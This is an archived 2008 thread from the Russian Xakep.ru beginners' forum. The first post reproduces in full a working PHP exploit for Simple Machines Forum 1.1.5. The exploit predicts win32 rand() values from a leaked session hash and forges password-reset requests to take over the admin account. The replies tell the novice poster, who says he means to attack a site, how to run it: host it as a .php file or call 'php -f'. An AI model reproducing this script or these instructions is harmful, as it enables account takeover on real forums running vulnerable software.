Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

расскажите как использовать эксплойт на php

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Для начинающих] >> расскажите как использовать эксплойт на php
Имя
Сообщение << Старые топики   Новые топики >>
расскажите как использовать эксплойт на php - 2008-09-21 05:48:00.243333   
OO7SOM

Сообщений: 165
Оценки: 0
Присоединился: 2007-07-19 14:42:15.950000
Собственно лазил в сети, наткнулся на http://raz0r.name/vulnerabilities/uyazvimosti-v-simple-machines-forum/#comment-398 уязвимомсть в SMF 1.1.5
автор предоставил эксплойт который выглядит вот так

&lt;?php echo "---------------------------------------------------------------\n"; echo "SMF &lt;= 1.1.5 Admin Reset Password Exploit (win32-based servers)\n"; echo "(c)oded by Raz0r (http://Raz0r.name/)\n"; echo "---------------------------------------------------------------\n"; if ($argc&lt;3) { echo "USAGE:\n"; echo "~~~~~~\n"; echo "php {$argv[0]} [host] [path] OPTIONS\n\n"; echo "[host] - target server where SMF is installed\n"; echo "[path] - path to SMF\n\n"; echo "OPTIONS:\n"; echo "--userid=[value] (default: 1)\n"; echo "--username=[value] (default: admin)\n"; echo "examples:\n"; echo "php {$argv[0]} site.com /forum/\n"; echo "php {$argv[0]} site.com / --userid=2 --username=odmen\n"; die; } /** * Software site: http://www.simplemachines.org * * SMF leaks current state of random number generator through hidden input parameter `sc` * of the password reminder form: * * $_SESSION['rand_code'] = md5(session_id() . rand()); * $sc = $_SESSION['rand_code']; * * Since max random number generated with rand() on win32 is 32767 and session id * is known an attacker can reverse the md5 hash and get the random number value. * On win32 every random number generated with rand() is used as a seed for the next * random number. So if SMF is installed on win32 platform an attacker can predict * all the next random numbers. When password reset is requested SMF uses rand() * function to generate validation code: * * $password = substr(preg_replace('/\W/', '', md5(rand())), 0, 10); * * So prediction of the validation code is possible and an atacker can set his * own password for any user. * * More information about random number prediction: * http://www.suspekt.org/2008/08/17/mt_srand-and-not-so-random-numbers/ * * More information about the behaviour of rand() on win32 (in Russian): * http://raz0r.name/articles/magiya-sluchajnyx-chisel-chast-2/ */ set_time_limit(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",10); $host = $argv[1]; $path = $argv[2]; for($i=3;$i&lt;=$argc;$i++){ if(isset($argv[$i]) && strpos($argv[$i],"--userid=")!==false) { list(,$userid) = explode("=",$argv[$i]); } if (isset($argv[$i]) && strpos($argv[$i],"--username=")!==false) { list(,$username) = explode("=",$argv[$i]); } } if(!isset($userid))$userid="1"; if(!isset($username))$username="admin"; $sess = md5(mt_rand()); echo "[~] Connecting to $host ... "; $ock = fsockopen($host,80); if($ock) echo "OK\n"; else die("failed\n"); $packet = "GET {$path}index.php?action=reminder HTTP/1.1\r\n"; $packet.= "Host: {$host}\r\n"; $packet.= "Cookie: PHPSESSID=$sess;\r\n"; $packet.= "Keep-Alive: 300\r\n"; $packet.= "Connection: keep-alive\r\n\r\n"; fputs($ock, $packet); while(!feof($ock)) { $resp = fgets($ock); preg_match('@name="sc" value="([0-9a-f]+)"@i',$resp,$out); if(isset($out[1])) { $md5 = $out[1]; break; } } if($md5) { $seed = getseed($md5); if($seed) { echo "[+] Seed for next random number is $seed\n"; } else die("[-] Can't calculate seed\n"); } else die("[-] Random number hash not found\n"); function getseed($md5) { global $sess; for($i=0;$i&lt;=32767;$i++){ if($md5 == md5($sess . $i)) { return $i; } } } $sc = md5($sess . $seed); $data = "user=".urlencode($username)."&sc=$sc"; $packet = "POST {$path}index.php?action=reminder;sa=mail HTTP/1.1\r\n"; $packet.= "Host: {$host}\r\n"; $packet.= "Cookie: PHPSESSID=$sess;\r\n"; $packet.= "Connection: close\r\n"; $packet.= "Content-Type: application/x-www-form-urlencoded\r\n"; $packet.= "Content-Length: ".strlen($data)."\r\n\r\n"; $packet.= $data; fputs($ock, $packet); $resp=''; while(!feof($ock)) { $resp .= fgets($ock); } if(preg_match("@HTTP/1.(0|1) 200 OK@i",$resp)===false) { die("[-] An error ocurred while requesting validation code\n"); } if(strpos($resp,"javasсriрt:history.go(-1)")!==false) { die("[-] Invalid username\n"); } srand($seed); for($i=0;$i&lt;6;$i++){ rand(); } $password = substr(preg_replace('/\W/', '', md5(rand())), 0, 10); echo "[+] Success! To set password visit this link:\nhttp://{$host}{$path}index.php?action=reminder;sa=setpassword;u={$userid};code=$password\n"; ?&gt; # milw0rm.com [2008-09-06]
как я понял, эксплойтом является пхп код.

Собственно вопрос, каким образом его юзать?


Мои предположения свелись к тому, что следует сохранить собственно текст кода в тхт файл и переименовать его в пхп, после запустить… но запустить через свой браузер?
вопрос в том как?
немного поразмыслив пришел к выводу, что следует создать хтмл страничку запускающую этот пхп скрипт.
что писать в код хтмл?

ну и соответственно не забыть вставить адрес атакуемого сайта и логин/id ака админа.
хелп) не бейте мну только учися
Post #: 1
RE: расскажите как использовать эксплойт на php - 2008-09-21 13:37:22.346666   
RanDoMix

Сообщений: 1568
Оценки: 0
Присоединился: 2007-10-20 20:09:28.990000
Закинь его на любой бесплатный хостинг(сохраняй в формате *.php). Когда перейдёшь по ссылке, он зачитает фристайл, из которого ты поймёшь, с какими параметрами его надо запускать. Надеюсь английский ты знаешь…
Post #: 2
RE: расскажите как использовать эксплойт на php - 2008-09-21 15:34:09.533333   
[CODE]

Сообщений: 637
Оценки: 0
Присоединился: 2008-08-18 04:20:44
echo "USAGE:\n"; echo "~~~~~~\n"; echo "php {$argv[0]} [host] [path] OPTIONS\n\n"; echo "[host] - target server where SMF is installed\n"; echo "[path] - path to SMF\n\n"; echo "OPTIONS:\n"; echo "--userid=[value] (default: 1)\n"; echo "--username=[value] (default: admin)\n"; echo "examples:\n"; echo "php {$argv[0]} site.com /forum/\n"; echo "php {$argv[0]} site.com / --userid=2 --username=odmen\n"; die; Вот тебе кусок с параметрами…
Страницу нужно сохранять с расширением *.php если сохранишь в хтмл - работать не будет.
Post #: 3
RE: расскажите как использовать эксплойт на php - 2008-09-21 15:41:12.570000   
kolPeeX

Сообщений: 1456
Оценки: 0
Присоединился: 2007-01-25 14:57:57.683333
если php у тебя на компе установлен, то выполни команду:
php -f имя_файла
Post #: 4
Страниц:  [1]
Все форумы >> [Для начинающих] >> расскажите как использовать эксплойт на php







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.